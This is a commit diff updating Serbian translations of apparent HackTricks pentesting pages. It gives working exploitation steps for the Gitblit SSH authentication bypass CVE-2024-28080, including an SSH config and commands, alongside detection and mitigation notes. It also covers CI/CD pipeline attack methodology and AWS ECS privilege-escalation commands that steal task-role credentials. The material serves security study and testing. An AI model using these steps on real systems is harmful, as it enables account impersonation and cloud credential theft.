mirror of
https://github.com/HackTricks-wiki/hacktricks-cloud.git
synced 2026-02-04 11:07:37 -08:00
Translated ['', 'src/pentesting-cloud/aws-security/aws-privilege-escalat
This commit is contained in:
@@ -1,10 +1,10 @@
|
||||
# Gitblit Sigurnost
|
||||
# Sigurnost Gitblit-a
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
||||
## Šta je Gitblit
|
||||
|
||||
Gitblit je samohostovani Git server napisan u Javi. Može da radi kao standalone JAR ili u servlet kontejnerima i sadrži ugrađenu SSH uslugu (Apache MINA SSHD) za Git preko SSH.
|
||||
Gitblit je samohostovan Git server napisan u Javi. Može da radi kao standalone JAR ili u servlet kontejnerima i uključuje ugrađenu SSH uslugu (Apache MINA SSHD) za Git over SSH.
|
||||
|
||||
## Teme
|
||||
|
||||
|
||||
@@ -4,34 +4,34 @@
|
||||
|
||||
## Sažetak
|
||||
|
||||
CVE-2024-28080 je bypass autentifikacije u ugrađenoj SSH usluzi Gitblit-a zbog netačnog rukovanja stanjem sesije prilikom integracije sa Apache MINA SSHD. Ako korisnički nalog ima registrovan bar jedan SSH public key, napadač koji zna username i bilo koji od tog korisnikovih public keys može se autentifikovati bez privatnog ključa i bez lozinke.
|
||||
CVE-2024-28080 je authentication bypass u Gitblit‑ovom embedded SSH servisu zbog incorrect session state handling pri integraciji sa Apache MINA SSHD. Ako korisnički nalog ima bar jedan SSH public key registrovan, napadač koji zna username i neki od public keys tog korisnika može se autentifikovati bez private key i bez password‑a.
|
||||
|
||||
- Pogođeno: Gitblit < 1.10.0 (uočeno na 1.9.3)
|
||||
- Ispravljeno: 1.10.0
|
||||
- Zahtevi za eksploataciju:
|
||||
- Git over SSH omogućen na instanci
|
||||
- Žrtvin nalog ima registrovan bar jedan SSH public key u Gitblit-u
|
||||
- Napadač zna žrtvino username i jedan od njihovih public keys (često otkrivljivo, npr. https://github.com/<username>.keys)
|
||||
- Affected: Gitblit < 1.10.0 (observed on 1.9.3)
|
||||
- Fixed: 1.10.0
|
||||
- Requirements to exploit:
|
||||
- Git over SSH enabled on the instance
|
||||
- Victim account has at least one SSH public key registered in Gitblit
|
||||
- Attacker knows victim username and one of their public keys (often discoverable, e.g., https://github.com/<username>.keys)
|
||||
|
||||
## Uzrok (state leaks between SSH methods)
|
||||
## Glavni uzrok (state leaks between SSH methods)
|
||||
|
||||
U RFC 4252, public‑key authentication ide u dve faze: server prvo proverava da li je ponuđeni public key prihvatljiv za dati username, i tek nakon challenge/response sa signature autentifikuje korisnika. U MINA SSHD, PublickeyAuthenticator se poziva dvaput: pri prihvatanju ključa (još bez signature) i kasnije nakon što klijent vrati signature.
|
||||
U RFC 4252, public‑key authentication ide u dve faze: server prvo proverava da li je prosleđeni public key acceptable za dati username, i tek nakon challenge/response sa signature autentifikuje korisnika. U MINA SSHD, PublickeyAuthenticator se poziva dva puta: prilikom key acceptance (još bez signature) i kasnije nakon što klijent vrati signature.
|
||||
|
||||
Gitblit-ov PublickeyAuthenticator je mutirao kontekst sesije pri prvom, pre‑signature pozivu vezujući autentifikovani UserModel za sesiju i vraćajući true ("key acceptable"). Kada se autentifikacija kasnije prebacila na password, PasswordAuthenticator je verovao tom izmenjenom stanju sesije i prečicom vratio uspeh, vraćajući true bez validacije password-a. Kao rezultat, bilo koja password (uključujući praznu) je bila prihvaćena nakon prethodnog public‑key "acceptance" za istog korisnika.
|
||||
Gitblit‑ov PublickeyAuthenticator je izmenio session context pri prvom, pre‑signature pozivu tako što je vezao autentifikovani UserModel za session i vratio true ("key acceptable"). Kada se kasnije autentikacija vratila na password, PasswordAuthenticator je verovao toj izmenjenoj session state i short‑circuited, vraćajući true bez validacije password‑a. Kao rezultat, bilo koji password (uključujući prazan) je bio prihvaćen nakon prethodne public‑key "acceptance" za istog korisnika.
|
||||
|
||||
High‑level flawed flow:
|
||||
|
||||
1) Client nudi username + public key (još bez signature)
|
||||
2) Server prepoznaje ključ kao pripadajući korisniku i prerano prikači user u sesiju, vraćajući true ("acceptable")
|
||||
3) Client ne može da potpiše (nema private key), pa autentifikacija pada na password
|
||||
4) Password auth vidi da user već postoji u sesiji i bezuslovno vraća success
|
||||
1) Client offers username + public key (no signature yet)
|
||||
2) Server recognizes the key as belonging to the user and prematurely attaches user to the session, returns true ("acceptable")
|
||||
3) Client cannot sign (no private key), so auth falls back to password
|
||||
4) Password auth sees a user already present in session and unconditionally returns success
|
||||
|
||||
## Koraci za eksploataciju
|
||||
## Eksploatacija korak po korak
|
||||
|
||||
- Sakupite žrtvino username i jedan od njihovih public keys:
|
||||
- GitHub izlaže public keys na https://github.com/<username>.keys
|
||||
- Javne servere često izlažu authorized_keys
|
||||
- Konfigurišite OpenSSH da prezentuje samo public half tako da generisanje signature zakaže, prisiljavajući fallback na password dok i dalje pokreće public‑key acceptance put na serveru.
|
||||
- Prikupite username žrtve i jedan od njihovih public keys:
|
||||
- GitHub exposes public keys at https://github.com/<username>.keys
|
||||
- Public servers often expose authorized_keys
|
||||
- Konfigurišite OpenSSH da predstavi samo public half tako da generisanje signature ne uspe, prisiljavajući fallback na password dok se i dalje pokreće public‑key acceptance path na serveru.
|
||||
|
||||
Example SSH client config (no private key available):
|
||||
```sshconfig
|
||||
@@ -44,54 +44,54 @@ PreferredAuthentications publickey,password
|
||||
IdentitiesOnly yes
|
||||
IdentityFile ~/.ssh/victim.pub # public half only (no private key present)
|
||||
```
|
||||
Povežite se i na promptu za lozinku pritisnite Enter (ili unesite bilo koji tekst):
|
||||
Povežite se i pritisnite Enter pri upitu za lozinku (ili unesite bilo koji niz):
|
||||
```bash
|
||||
ssh gitblit-target
|
||||
# or Git over SSH
|
||||
GIT_SSH_COMMAND="ssh -F ~/.ssh/config" git ls-remote ssh://<victim-username>@<host>/<repo.git>
|
||||
```
|
||||
Autentifikacija uspeva zato što je ranija public‑key faza izmenila sesiju i postavila je na autentifikovanog korisnika, a password auth pogrešno veruje tom stanju.
|
||||
Autentifikacija uspeva zato što je ranija public‑key faza izmenila sesiju u autentifikovanog korisnika, a password auth pogrešno veruje tom stanju.
|
||||
|
||||
Napomena: Ako je ControlMaster multiplexing omogućen u vašoj SSH konfiguraciji, naknadne Git komande mogu ponovo koristiti autentifikovanu konekciju, čime se povećava uticaj.
|
||||
Napomena: Ako je ControlMaster multiplexing omogućen u vašem SSH configu, naredne Git komande mogu ponovo koristiti autentifikovanu konekciju, čime se povećava impact.
|
||||
|
||||
## Impact
|
||||
|
||||
- Full impersonation of any Gitblit user with at least one registered SSH public key
|
||||
- Read/write access to repositories per victim’s permissions (source exfiltration, unauthorized pushes, supply‑chain risks)
|
||||
- Potential administrative impact if targeting an admin user
|
||||
- Pure network exploit; no brute force or private key required
|
||||
- Potpuna impersonacija bilo kog Gitblit korisnika sa najmanje jednim registrovanim SSH public key
|
||||
- Read/write pristup repozitorijumima u skladu sa permisijama žrtve (source exfiltration, unauthorized pushes, supply‑chain risks)
|
||||
- Potencijalni administrativni uticaj ako se cilja admin korisnik
|
||||
- Čisti network exploit; nije potreban brute force ili private key
|
||||
|
||||
## Detection ideas
|
||||
|
||||
- Pregledajte SSH logove za sekvence gde pokušaj publickey bude praćen uspešnom password autentifikacijom sa praznim ili vrlo kratkim password‑om
|
||||
- Tražite tokove: publickey method koja nudi unsupported/mismatched key material praćena neposrednim uspehom password metode za isto korisničko ime
|
||||
- Pregledajte SSH logove za sekvence u kojima pokušaj publickey bude praćen uspešnom password authentication sa praznim ili vrlo kratkim password-om
|
||||
- Potražite tokove: publickey metoda koja nudi nepodržani/neslagajući key material, nakon čega sledi trenutni password success za isti username
|
||||
|
||||
## Mitigations
|
||||
|
||||
- Upgrade to Gitblit v1.10.0+
|
||||
- Dok se ne izvrši nadogradnja:
|
||||
- Disable Git over SSH on Gitblit, or
|
||||
- Ograničite mrežni pristup SSH servisu, i
|
||||
- Monitor for suspicious patterns described above
|
||||
- Rotate affected user credentials if compromise is suspected
|
||||
- Ažurirajte Gitblit na v1.10.0+
|
||||
- Dok se ne ažurira:
|
||||
- Onemogućite Git over SSH na Gitblit, ili
|
||||
- Ograničite network pristup SSH servisu, i
|
||||
- Pratite sumnjive obrasce opisane gore
|
||||
- Promenite kredencijale pogođenih korisnika ako se sumnja na kompromitovanje
|
||||
|
||||
## Opšte: abusing SSH auth method state‑leakage (MINA/OpenSSH‑based services)
|
||||
## General: abusing SSH auth method state‑leakage (MINA/OpenSSH‑based services)
|
||||
|
||||
Pattern: Ako serverov public‑key authenticator mutira korisničko/sesijsko stanje tokom pre‑signature "key acceptable" faze i drugi authenticators (npr. password) veruju tom stanju, možete zaobići autentifikaciju na sledeći način:
|
||||
Pattern: Ako public‑key authenticator servera mutira user/session state tokom pre‑signature "key acceptable" faze, i drugi authenticators (npr. password) veruju tom stanju, možete zaobići autentifikaciju tako što ćete:
|
||||
|
||||
- Presenting a legitimate public key for the target user (no private key)
|
||||
- Forcing the client to fail signing so the server falls back to password
|
||||
- Supplying any password while the password authenticator short‑circuits on leaked state
|
||||
- Predstaviti legitimni public key za ciljног korisnika (bez private key)
|
||||
- Prinuditi klijenta da ne uspe u signing-u tako da server pređe na password
|
||||
- Uneti bilo koji password dok password authenticator short‑circuits na leaked state
|
||||
|
||||
Praktični saveti:
|
||||
|
||||
- Public key harvesting at scale: pull public keys from common sources such as https://github.com/<username>.keys, organizational directories, team pages, leaked authorized_keys
|
||||
- Forcing signature failure (client‑side): point IdentityFile to only the .pub, set IdentitiesOnly yes, keep PreferredAuthentications to include publickey then password
|
||||
- Public key harvesting at scale: povucite public keys sa uobičajenih izvora kao što su https://github.com/<username>.keys, organizacione direktorijume, team pages, leaked authorized_keys
|
||||
- Forcing signature failure (client‑side): postavite IdentityFile na samo .pub, set IdentitiesOnly yes, zadržite PreferredAuthentications da uključuje publickey pa password
|
||||
- MINA SSHD integration pitfalls:
|
||||
- PublickeyAuthenticator.authenticate(...) must not attach user/session state until the post‑signature verification path confirms the signature
|
||||
- PasswordAuthenticator.authenticate(...) must not infer success from any state mutated during a prior, incomplete authentication method
|
||||
|
||||
Povezane protokolarne/dizajnerske beleške i literatura:
|
||||
Related protocol/design notes and literature:
|
||||
- SSH userauth protocol: RFC 4252 (publickey method is a two‑stage process)
|
||||
- Historical discussions on early acceptance oracles and auth races, e.g., CVE‑2016‑20012 disputes around OpenSSH behavior
|
||||
|
||||
|
||||
@@ -1,4 +1,4 @@
|
||||
# Pentesting CI/CD Methodology
|
||||
# Pentesting CI/CD Metodologija
|
||||
|
||||
{{#include ../banners/hacktricks-training.md}}
|
||||
|
||||
@@ -6,48 +6,48 @@
|
||||
|
||||
## VCS
|
||||
|
||||
VCS znači **Version Control System**, ovi sistemi omogućavaju developerima da **upravljaju svojim source code-om**. Najčešći je **git** i obično ćete kompanije pronaći da ga koriste na jednoj od sledećih **platformi**:
|
||||
VCS znači **Version Control System**, ovi sistemi dozvoljavaju developerima da **upravljaju svojim source code-om**. Najčešći je **git** i obično ćete kompanije naći koje ga koriste na jednoj od sledećih **platformi**:
|
||||
|
||||
- Github
|
||||
- Gitlab
|
||||
- Bitbucket
|
||||
- Gitea
|
||||
- Gitblit
|
||||
- Cloud providers (oni nude svoje VCS platforme)
|
||||
- Cloud providers (they offer their own VCS platforms)
|
||||
|
||||
|
||||
## CI/CD Pipelines
|
||||
|
||||
CI/CD pipelines omogućavaju developerima da **automatizuju izvršavanje koda** u razne svrhe, uključujući build, testiranje i deploy aplikacija. Ovi automatizovani workflow-ovi se **okidaju određenim akcijama**, kao što su code pushes, pull requests, ili zakazani zadaci. Korisni su za pojednostavljenje procesa od razvoja do production-a.
|
||||
CI/CD pipelines omogućavaju developerima da **automatizuju izvršavanje koda** za razne svrhe, uključujući build, testiranje i deploy aplikacija. Ovi automatizovani workflow-i su **okidači određenim akcijama**, kao što su code pushes, pull requests ili zakazani zadaci. Korisni su za pojednostavljenje procesa od development-a do produkcije.
|
||||
|
||||
Međutim, ovi sistemi moraju biti **izvedeni negde** i obično koriste **privileged credentials da bi deploy-ovali kod ili pristupili osetljivim informacijama**.
|
||||
Međutim, ovi sistemi moraju da se **izvršavaju negde** i obično sa **privileged credentials da bi deploy-ovali kod ili pristupili osetljivim informacijama**.
|
||||
|
||||
## VCS Pentesting Methodology
|
||||
|
||||
> [!NOTE]
|
||||
> Čak i ako neke VCS platforme dozvoljavaju kreiranje pipelines, za ovu sekciju ćemo analizirati samo potencijalne napade na kontrolu source code-a.
|
||||
> Even if some VCS platforms allow to create pipelines for this section we are going to analyze only potential attacks to the control of the source code.
|
||||
|
||||
Platforme koje sadrže source code vašeg projekta sadrže osetljive informacije i ljudi moraju biti veoma pažljivi sa permissions koje se dodeljuju unutar te platforme. Ovo su neki uobičajeni problemi na VCS platformama koje napadač može zloupotrebiti:
|
||||
Platforme koje sadrže source code vašeg projekta sadrže osetljive informacije i ljudi moraju biti veoma pažljivi sa permissions koje se dodeljuju unutar te platforme. Ovo su neki uobičajeni problemi preko VCS platformi koje napadač može zloupotrebiti:
|
||||
|
||||
- **Leaks**: Ako vaš code sadrži leaks u commit-ovima i napadač može pristupiti repo-u (jer je javno ili zato što on ima pristup), on može otkriti leaks.
|
||||
- **Access**: Ako napadač može **pristupiti account-u unutar VCS platforme** mogao bi steći **veću vidljivost i permissions**.
|
||||
- **Register**: Neke platforme će jednostavno dozvoliti eksternim korisnicima da kreiraju account.
|
||||
- **SSO**: Neke platforme neće dozvoliti korisnicima registraciju, ali će dozvoliti bilo kome da se prijavi sa validnim SSO (tako napadač može koristiti svoj github account da se, na primer, prijavi).
|
||||
- **Credentials**: Username+Pwd, personal tokens, ssh keys, Oauth tokens, cookies... postoji više vrsta tokena koje korisnik može ukrasti da bi nekako pristupio repo-u.
|
||||
- **Webhooks**: VCS platforme omogućavaju generisanje webhooks. Ako nisu **zaštićeni** sa non-visible secrets, **napadač ih može zloupotrebiti**.
|
||||
- Ako nema secret-a, napadač može zloupotrebiti webhook treće strane platforme
|
||||
- Ako je secret u URL-u, isto se dešava i napadač takođe dobija secret
|
||||
- **Code compromise:** Ako maliciozni akter ima neku vrstu **write** pristupa nad repos-ima, mogao bi pokušati **inject-maliciozni kod**. Da bi bio uspešan možda će morati **zaobići branch protections**. Ove akcije mogu biti izvršene sa različitim ciljevima:
|
||||
- **Leaks**: Ako vaš kod sadrži leaks u commit-ovima i napadač može da pristupi repo-u (jer je public ili zato što ima pristup), mogao bi otkriti te leaks.
|
||||
- **Access**: Ako napadač može da **pristupi nalogu unutar VCS platforme** mogao bi steći **veću vidljivost i permissions**.
|
||||
- **Register**: Neke platforme će samo dozvoliti eksternim korisnicima da kreiraju nalog.
|
||||
- **SSO**: Neke platforme neće dozvoliti registraciju, ali će dozvoliti bilo kome da se prijavi sa validnim SSO (tako da napadač može koristiti svoj github nalog da uđe, na primer).
|
||||
- **Credentials**: Username+Pwd, personal tokens, ssh keys, Oauth tokens, cookies... postoji više vrsta tokena koje korisnik može ukrasti da bi na neki način pristupio repo-u.
|
||||
- **Webhooks**: VCS platforme dozvoljavaju generisanje webhooks. Ako nisu **zaštićeni** sa nevidljivim secret-ima, **napadač ih može zloupotrebiti**.
|
||||
- Ako nema secret-a na mestu, napadač može zloupotrebiti webhook treće strane
|
||||
- Ako je secret u URL-u, isto se dešava i napadač tada takođe ima secret
|
||||
- **Code compromise:** Ako zlonamerni akter ima neku vrstu **write** pristupa nad repos-ima, može pokušati da **inject-uje malicious code**. Da bi bio uspešan, možda će morati da **zaobiđe branch protections**. Ove akcije se mogu izvesti sa različitim ciljevima:
|
||||
- Kompromitovati main branch da bi **kompromitovao production**.
|
||||
- Kompromitovati main (ili druge branch-e) da bi **kompromitovao developere na njihovim mašinama** (jer oni obično izvršavaju testove, terraform ili druge stvari iz repo-a na svojim mašinama).
|
||||
- **Compromise the pipeline** (pogledati sledeću sekciju)
|
||||
- Kompromitovati main (ili druge brancheve) da **kompromituje developer-ove mašine** (pošto oni obično izvršavaju testove, terraform ili druge stvari unutar repo-a na svojim mašinama).
|
||||
- **Compromise the pipeline** (pogledati sledeći odeljak)
|
||||
|
||||
## Pipelines Pentesting Methodology
|
||||
|
||||
Najčešći način da se definiše pipeline je korišćenjem **CI configuration file-a hostovanog u repository-ju** koji pipeline gradi. Ovaj fajl opisuje redosled izvršenih job-ova, uslove koji utiču na flow, i podešavanja build environment-a.\
|
||||
Ovi fajlovi obično imaju konzistentno ime i format, na primer — Jenkinsfile (Jenkins), .gitlab-ci.yml (GitLab), .circleci/config.yml (CircleCI), i GitHub Actions YAML fajlovi pod .github/workflows. Kada se okine, pipeline job **povlači code** iz izabranog source-a (npr. commit / branch), i **izvršava komande navedene u CI configuration file-u** nad tim kodom.
|
||||
Najčešći način definisanja pipeline-a je korišćenjem **CI configuration file** hostovanog u repository-ju koji pipeline build-uje. Ovaj fajl opisuje redosled izvršenih job-ova, uslove koji utiču na tok, i podešavanja build okruženja.\
|
||||
Ovi fajlovi obično imaju konzistentno ime i format, na primer — Jenkinsfile (Jenkins), .gitlab-ci.yml (GitLab), .circleci/config.yml (CircleCI), i GitHub Actions YAML fajlovi locirani pod .github/workflows. Kada se okine, pipeline job **pull-uje kod** sa izabranog source-a (npr. commit / branch), i **izvršava komande navedene u CI configuration file-u** nad tim kodom.
|
||||
|
||||
Dakle, krajnji cilj napadača je nekako **kompromitovati te configuration fajlove** ili **komande koje oni izvršavaju**.
|
||||
Dakle, krajnji cilj napadača je na neki način **kompromitovati te configuration fajlove** ili **komande koje oni izvršavaju**.
|
||||
|
||||
### PPE - Poisoned Pipeline Execution
|
||||
|
||||
@@ -71,14 +71,14 @@ There are 3 PPE flavours:
|
||||
|
||||
Knowing the 3 flavours to poison a pipeline, lets check what an attacker could obtain after a successful exploitation:
|
||||
|
||||
- **Secrets**: Kao što je ranije pomenuto, pipelines zahtevaju **privileges** za svoje job-ove (povlačenje koda, build, deploy...) i ti privileges su obično **dodeljeni u secrets**. Ti secrets su obično dostupni preko **env variables ili fajlova unutar sistema**. Zato će napadač uvek pokušati da eksfiltrira što više secrets-a moguće.
|
||||
- U zavisnosti od pipeline platform-e napadač **može morati da specificira secrets u config-u**. To znači da ako napadač ne može da modifikuje CI configuration pipeline-a (**I-PPE** na primer), mogao bi **samo eksfiltrirati secrets koje taj pipeline ima**.
|
||||
- **Computation**: Kod se izvršava negde; u zavisnosti gde, napadač možda može da pivot-uje dalje.
|
||||
- **On-Premises**: Ako se pipelines izvršavaju on-premises, napadač može završiti u **internoj mreži sa pristupom većim resursima**.
|
||||
- **Cloud**: Napadač može pristupiti **drugim mašinama u cloud-u** ali takođe može **eksfiltrirati** IAM roles/service accounts **tokens** iz njega da dobije **dalji pristup unutar clouda**.
|
||||
- **Platforms machine**: Ponekad će job-ovi biti izvršeni unutar **pipelines platform machines**, koje obično sede u cloudu bez dodatnog pristupa.
|
||||
- **Select it:** Ponekad će **pipelines platform konfigurisan sa više mašina** i ako možete **modifikovati CI configuration file** možete **naznačiti gde želite da izvršite maliciozni kod**. U toj situaciji, napadač će verovatno pokrenuti reverse shell na svakoj mogućoj mašini da pokuša dodatnu eksploataciju.
|
||||
- **Compromise production**: Ako ste unutar pipeline-a i finalna verzija se build-uje i deploy-uje iz njega, mogli biste **kompromitovati kod koji će završiti u production-u**.
|
||||
- **Secrets**: As it was mentioned previously, pipelines require **privileges** for their jobs (retrieve the code, build it, deploy it...) and these privileges are usually **granted in secrets**. These secrets are obično dostupni preko **env variables ili fajlova unutar sistema**. Zbog toga će napadač uvek pokušati da eksfiltruje što više secrets-a.
|
||||
- Depending on the pipeline platform the attacker **might need to specify the secrets in the config**. This means that is the attacker cannot modify the CI configuration pipeline (**I-PPE** for example), he could **only exfiltrate the secrets that pipeline has**.
|
||||
- **Computation**: Kod se izvršava negde; u zavisnosti od mesta izvođenja, napadač može imati mogućnost daljeg pivot-a.
|
||||
- **On-Premises**: Ako se pipelines izvršavaju on premises, napadač može završiti u **internoj mreži sa pristupom većim resursima**.
|
||||
- **Cloud**: Napadač može pristupiti **drugim mašinama u cloudu** ali takođe može **eksfiltrirati** IAM roles/service accounts **tokens** iz njega da bi dobio **dalji pristup unutar clouda**.
|
||||
- **Platforms machine**: Ponekad se job-ovi izvršavaju unutar **pipelines platform mašina**, koje obično postoje unutar clouda bez dodatnog pristupa.
|
||||
- **Select it:** Ponekad će **pipelines platform biti konfigurisala više mašina** i ako možete **modifikovati CI configuration file** možete **naznačiti gde želite da pokrenete malicious code**. U tom slučaju, napadač će verovatno pokrenuti reverse shell na svakoj mogućoj mašini da pokuša dalje eksploatisati.
|
||||
- **Compromise production**: Ako ste unutar pipeline-a i finalna verzija se build-uje i deploy-uje iz njega, možete **kompromitovati kod koji će se izvršavati u produkciji**.
|
||||
|
||||
## More relevant info
|
||||
|
||||
|
||||
@@ -12,7 +12,7 @@ Više **informacija o ECS** u:
|
||||
|
||||
### `iam:PassRole`, `ecs:RegisterTaskDefinition`, `ecs:RunTask`
|
||||
|
||||
Napadač koji zloupotrebljava `iam:PassRole`, `ecs:RegisterTaskDefinition` i `ecs:RunTask` dozvole u ECS-u može **generisati novu task definiciju** sa **zlonamernim kontejnerom** koji krade metadata kredencijale i **pokrenuti je**.
|
||||
Napadač koji zloupotrebljava `iam:PassRole`, `ecs:RegisterTaskDefinition` i `ecs:RunTask` dozvole u ECS može **generisati novu task definition** sa **malicious container-om** koji krade metadata credentials i **pokrenuti je**.
|
||||
|
||||
{{#tabs }}
|
||||
{{#tab name="Reverse Shell" }}
|
||||
@@ -75,19 +75,19 @@ aws ecs deregister-task-definition --task-definition iam_exfiltration:1
|
||||
|
||||
{{#endtabs }}
|
||||
|
||||
**Potencijalni uticaj:** Direktan privesc na drugu ECS ulogu.
|
||||
**Potential Impact:** Direktan privesc na drugu ECS ulogu.
|
||||
|
||||
### `iam:PassRole`,`ecs:RunTask`
|
||||
Napadač koji ima dozvole `iam:PassRole` i `ecs:RunTask` može pokrenuti novi ECS task sa izmenjenim vrednostima **execution role**, **task role** i **command** kontejnera. Komanda `ecs run-task` (CLI) sadrži flag `--overrides` koji omogućava promenu u runtime-u `executionRoleArn`, `taskRoleArn` i `command` kontejnera bez menjanja task definition.
|
||||
Napadač koji ima `iam:PassRole` i `ecs:RunTask` dozvole može pokrenuti novi ECS task sa izmenjenim vrednostima **execution role**, **task role** i **command** kontejnera. Komanda `ecs run-task` u CLI sadrži opciju `--overrides` koja omogućava promenu u runtime-u `executionRoleArn`, `taskRoleArn` i `command` kontejnera bez izmene task definition.
|
||||
|
||||
Navedene IAM uloge za `taskRoleArn` i `executionRoleArn` moraju u svojoj trust policy dozvoliti da ih `ecs-tasks.amazonaws.com` preuzme.
|
||||
Naznačene IAM uloge za `taskRoleArn` i `executionRoleArn` moraju dozvoljavati da ih preuzme `ecs-tasks.amazonaws.com` u svojoj politici poverenja.
|
||||
|
||||
Takođe, napadač treba da zna:
|
||||
- ime ECS klastera
|
||||
- Ime ECS klastera
|
||||
- VPC Subnet
|
||||
- Security group (Ako security group nije navedena, koristiće se podrazumevana)
|
||||
- Task Definition name i revizija
|
||||
- ime kontejnera
|
||||
- Security group (Ako nije navedena, koristiće se podrazumevana)
|
||||
- Ime Task Definition-a i revizija
|
||||
- Ime kontejnera
|
||||
```bash
|
||||
aws ecs run-task \
|
||||
--cluster <cluster-name> \
|
||||
@@ -105,9 +105,9 @@ aws ecs run-task \
|
||||
]
|
||||
}'
|
||||
```
|
||||
U gornjem isječku koda napadač menja samo vrednost `taskRoleArn`. Međutim, napadač mora imati dozvolu `iam:PassRole` nad `taskRoleArn` navedenim u komandi i nad `executionRoleArn` navedenim u definiciji taska da bi napad bio moguć.
|
||||
U gornjem primeru koda napadač menja samo vrednost `taskRoleArn`. Međutim, napadač mora imati dozvolu `iam:PassRole` nad `taskRoleArn` navedenim u komandi i nad `executionRoleArn` navedenim u task definition da bi napad bio moguć.
|
||||
|
||||
Ako IAM role koju napadač može proslediti ima dovoljno privilegija da povuče ECR sliku i pokrene ECS task (`ecr:BatchCheckLayerAvailability`, `ecr:GetDownloadUrlForLayer`,`ecr:BatchGetImage`,`ecr:GetAuthorizationToken`), onda napadač može navesti istu IAM ulogu za oba `executionRoleArn` i `taskRoleArn` u `ecs run-task` komandi.
|
||||
Ako IAM role koju napadač može proslediti ima dovoljno privilegija da povuče ECR image i pokrene ECS task (`ecr:BatchCheckLayerAvailability`, `ecr:GetDownloadUrlForLayer`, `ecr:BatchGetImage`, `ecr:GetAuthorizationToken`), napadač može navesti istu IAM rolu za oba `executionRoleArn` i `taskRoleArn` u komandi `ecs run-task`.
|
||||
```sh
|
||||
aws ecs run-task --cluster <cluster-name> --launch-type FARGATE --network-configuration "awsvpcConfiguration={subnets=[<subnet-id>],securityGroups=[<security-group-id>],assignPublicIp=ENABLED}" --task-definition <task-definition:revision> --overrides '
|
||||
{
|
||||
@@ -121,12 +121,12 @@ aws ecs run-task --cluster <cluster-name> --launch-type FARGATE --network-config
|
||||
]
|
||||
}'
|
||||
```
|
||||
**Potential Impact:** Direktan privesc na bilo koju ECS task rolu.
|
||||
**Potencijalni uticaj:** Direct privesc to any ECS task role.
|
||||
|
||||
### `iam:PassRole`, `ecs:RegisterTaskDefinition`, `ecs:StartTask`
|
||||
|
||||
Baš kao u prethodnom primeru, napadač koji zloupotrebljava permisije **`iam:PassRole`, `ecs:RegisterTaskDefinition`, `ecs:StartTask`** u ECS-u može **generisati novu task definition** sa **malicioznim kontejnerom** koji krade metadata credentials i **pokrenuti je**.\
|
||||
Međutim, u ovom slučaju potreban je container instance da bi se pokrenula maliciozna task definition.
|
||||
Kao i u prethodnom primeru, napadač koji zloupotrebljava **`iam:PassRole`, `ecs:RegisterTaskDefinition`, `ecs:StartTask`** dozvole u ECS može da **generate a new task definition** sa **malicious container** koji krade **metadata credentials** i da ga **run it**.\
|
||||
Međutim, u ovom slučaju, potrebna je container instance da bi se malicious task definition pokrenuo.
|
||||
```bash
|
||||
# Generate task definition with rev shell
|
||||
aws ecs register-task-definition --family iam_exfiltration \
|
||||
@@ -142,11 +142,12 @@ aws ecs start-task --task-definition iam_exfiltration \
|
||||
## You need to remove all the versions (:1 is enough if you just created one)
|
||||
aws ecs deregister-task-definition --task-definition iam_exfiltration:1
|
||||
```
|
||||
**Potencijalni uticaj:** Direktan privesc na bilo koju ECS rolu.
|
||||
**Potencijalni uticaj:** Direct privesc to any ECS role.
|
||||
|
||||
### `iam:PassRole`, `ecs:RegisterTaskDefinition`, (`ecs:UpdateService|ecs:CreateService)`
|
||||
|
||||
Baš kao u prethodnom primeru, napadač koji zloupotrebljava **`iam:PassRole`, `ecs:RegisterTaskDefinition`, `ecs:UpdateService`** ili **`ecs:CreateService`** dozvole u ECS-u može da generiše novu task definiciju sa malicioznim kontejnerom koji krade metadata kredencijale i pokrene je kreiranjem novog servisa sa najmanje jednim task-om koji radi.
|
||||
|
||||
Kao i u prethodnom primeru, napadač koji zloupotrebljava **`iam:PassRole`, `ecs:RegisterTaskDefinition`, `ecs:UpdateService`** ili **`ecs:CreateService`** dozvole u ECS može **generisati novu task definition** sa **malicioznim containerom** koji krade **metadata credentials** i **pokrenuti je kreiranjem novog servisa sa najmanje jednim taskom koji radi.**
|
||||
```bash
|
||||
# Generate task definition with rev shell
|
||||
aws ecs register-task-definition --family iam_exfiltration \
|
||||
@@ -173,7 +174,7 @@ aws ecs update-service --cluster <CLUSTER NAME> \
|
||||
|
||||
### `iam:PassRole`, (`ecs:UpdateService|ecs:CreateService)`
|
||||
|
||||
Zapravo, samo sa tim dozvolama moguće je koristiti overrides da izvršite proizvoljne komande u kontejneru sa proizvoljnom ulogom koristeći nešto poput:
|
||||
Zapravo, samo sa tim dozvolama moguće je, koristeći overrides, izvršiti proizvoljne komande u kontejneru sa proizvoljnom ulogom, nešto poput:
|
||||
```bash
|
||||
aws ecs run-task \
|
||||
--task-definition "<task-name>" \
|
||||
@@ -181,16 +182,16 @@ aws ecs run-task \
|
||||
--cluster <cluster-name> \
|
||||
--network-configuration "{\"awsvpcConfiguration\":{\"assignPublicIp\": \"DISABLED\", \"subnets\":[\"<subnet-name>\"]}}"
|
||||
```
|
||||
**Potencijalni uticaj:** Direct privesc to any ECS role.
|
||||
**Potential Impact:** Direktan privesc na bilo koju ECS ulogu.
|
||||
|
||||
### `ecs:RegisterTaskDefinition`, **`(ecs:RunTask|ecs:StartTask|ecs:UpdateService|ecs:CreateService)`**
|
||||
|
||||
Ovaj scenarij je sličan prethodnim, ali **bez** dozvole **`iam:PassRole`**.\
|
||||
Ovo je i dalje interesantno zato što, ako možete pokrenuti proizvoljan container, čak i bez role, mogli biste **pokrenuti privilegovani container da pobegnete** na node i **ukrasti EC2 IAM rolu** i **role drugih ECS containera** koji se izvršavaju na node-u.\
|
||||
Možete čak i **prisiliti druge tasks da se pokrenu unutar EC2 instance** koju kompromitujete kako biste ukrali njihove credentials (kao što je opisano u [**Privesc to node section**](aws-ecs-post-exploitation.md#privesc-to-node)).
|
||||
Ovaj scenario je sličan prethodnim, ali **bez** dozvole **`iam:PassRole`**.\
|
||||
Ovo je i dalje interesantno jer, ako možete pokrenuti proizvoljan kontejner, čak i ako je bez uloge, mogli biste **pokrenuti privilegovani kontejner da pobegnete** na čvor i **ukrasti EC2 IAM ulogu** i **uloge drugih ECS kontejnera** koji se izvršavaju na čvoru.\
|
||||
Mogli biste čak i naterati druge taskove da se pokrenu unutar EC2 instance koju kompromitujete kako biste ukrali njihove credentials (kao što je objašnjeno u [**Privesc to node section**](aws-ecs-post-exploitation.md#privesc-to-node)).
|
||||
|
||||
> [!WARNING]
|
||||
> Ovaj napad je moguć samo ako **ECS cluster koristi EC2** instance, a ne Fargate.
|
||||
